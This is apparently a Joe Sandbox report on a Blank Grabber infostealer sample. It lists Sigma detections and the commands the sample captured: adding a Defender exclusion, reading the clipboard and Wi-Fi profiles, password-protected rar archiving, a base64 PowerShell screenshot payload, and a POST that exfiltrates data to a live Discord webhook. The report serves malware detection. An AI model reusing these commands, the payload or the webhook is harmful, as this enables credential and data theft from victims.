Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\HeilHitler.exe", ParentImage: C:\Users\user\Desktop\HeilHitler.exe, ParentProcessId: 7448, ParentProcessName: HeilHitler.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 8080, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8084, TargetFilename: C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7920, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *, ProcessId: 3400, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7496, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe', ProcessId: 7600, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\HeilHitler.exe", ParentImage: C:\Users\user\Desktop\HeilHitler.exe, ParentProcessId: 7448, ParentProcessName: HeilHitler.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 1928, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: HeilHitler.exe.7448.1.memstrmin

Malware Configuration Extractor: Blank Grabber {"C2 url": "https://discord.com/api/webhooks/1302413781162266715/WJ0cdpWb68IO94MZWMtc7o2HkgZFWYLoExtrMC3fyimxUgR5SCyIRovGkrea9pNRE2_V"}

Multi AV Scanner detection for submitted file

Source: HeilHitler.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C1901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

68_2_00007FF702C1901C

Source: HeilHitler.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: HeilHitler.exe
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.pdbhP source: powershell.exe, 00000026.00000002.1830812751.000002871BA75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: HeilHitler.exe, 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: HeilHitler.exe, 00000000.00000003.1677234536.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2040274922.00007FFE13341000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2039889853.00007FFE13301000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: HeilHitler.exe, 00000000.00000003.1677234536.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000001.00000002.2040274922.00007FFE13341000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2038522061.00007FFE11EB1000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2039368203.00007FFE12E11000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: HeilHitler.exe, 00000001.00000002.2036487623.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000044.00000000.1908593127.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000044.00000002.1923462255.00007FF702C70000.00000002.00000001.01000000.0000001A.sdmp, rar.exe.0.dr
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: HeilHitler.exe, 00000001.00000002.2039054275.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: HeilHitler.exe, 00000001.00000002.2039054275.00007FFE126EC000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2039626853.00007FFE130C1000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: \0q.pdb source: powershell.exe, 00000026.00000002.1894620467.000002873381B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: HeilHitler.exe, 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: HeilHitler.exe, 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2037493230.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2038127785.00007FFE11511000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2038813190.00007FFE11ED1000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:15:42 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: HeilHitler.exe, 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2037789105.00007FFE10301000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.pdb source: powershell.exe, 00000026.00000002.1830812751.000002871BA75000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmp

Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D683C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF633D683C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D69280 FindFirstFileExW,FindClose,	0_2_00007FF633D69280
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 0_2_00007FF633D81874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF633D81874
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D69280 FindFirstFileExW,FindClose,	1_2_00007FF633D69280
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D683C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF633D683C0
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FF633D81874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF633D81874
Source: C:\Users\user\Desktop\HeilHitler.exe	Code function: 1_2_00007FFDFAF43229 MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,00007FFE1FF9F020,FindFirstFileW,FindNextFileW,WideCharToMultiByte,	1_2_00007FFDFAF43229
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C246EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	68_2_00007FF702C246EC
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C1E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	68_2_00007FF702C1E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe	Code function: 68_2_00007FF702C688E0 FindFirstFileExA,	68_2_00007FF702C688E0

Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk\	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 162.159.128.233 162.159.128.233

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.2

Source: HeilHitler.exe, 00000001.00000002.2031849271.000001BD43CA4000.00000004.00001000.00020000.00000000.sdmp

String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1302413781162266715/WJ0cdpWb68IO94MZWMtc7o2HkgZFWYLoExtrMC3fyimxUgR5SCyIRovGkrea9pNRE2_V HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 759927User-Agent: python-urllib3/2.2.2Content-Type: multipart/form-data; boundary=8a9179acbaa5554a9b480b1ba637caac

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 15 Nov 2024 09:44:36 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1731663877x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sL1ESUKxhK9%2Babw4uCeDjxgqI4thUCNJCC78TML%2F85lNJMjNqLMWZ7Zs%2FqLOkjx%2BeMM11gsaMrJdKoNakvekrPA90Myi75LQhPIN6Y5BQQA7YVaXA%2FFvJrTzqQTB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=f55cd052b753aefed4ac19e3284c0198d78f1511-1731663876; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=g7xrMuiCuj5YxJWgwxHxx7_wo5yDsKgDIiJmgNGLoGA-1731663876289-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8e2e4db66acf6bce-DFW

Source: HeilHitler.exe, 00000000.00000003.1679598819.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679598819.0000028B9208C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: HeilHitler.exe, 00000000.00000003.1678668051.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678458745.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678252343.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1681133155.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679683243.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680725372.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678076504.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678458745.0000028B9208C000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679884394.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678337779.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678569630.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680619720.0000028B9208C000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680619720.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000002.2044382544.0000028B9208C000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1677368472.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679315296.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1677584002.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678764252.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: HeilHitler.exe, 00000000.00000003.1679598819.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679598819.0000028B9208C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: HeilHitler.exe, 00000000.00000003.1678668051.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678458745.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678252343.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1681133155.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679683243.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680725372.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678076504.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679884394.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678337779.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678569630.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680619720.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1677368472.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679315296.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1677584002.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678764252.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: HeilHitler.exe, 00000000.00000003.1678668051.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678458745.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678252343.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1681133155.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679683243.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680725372.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678076504.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679884394.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678337779.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678569630.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1680619720.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1677368472.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1679315296.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1677584002.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, HeilHitler.exe, 00000000.00000003.1678764252.0000028B9207F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.dr, _ctypes.pyd.0.dr, _hashlib.pyd.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
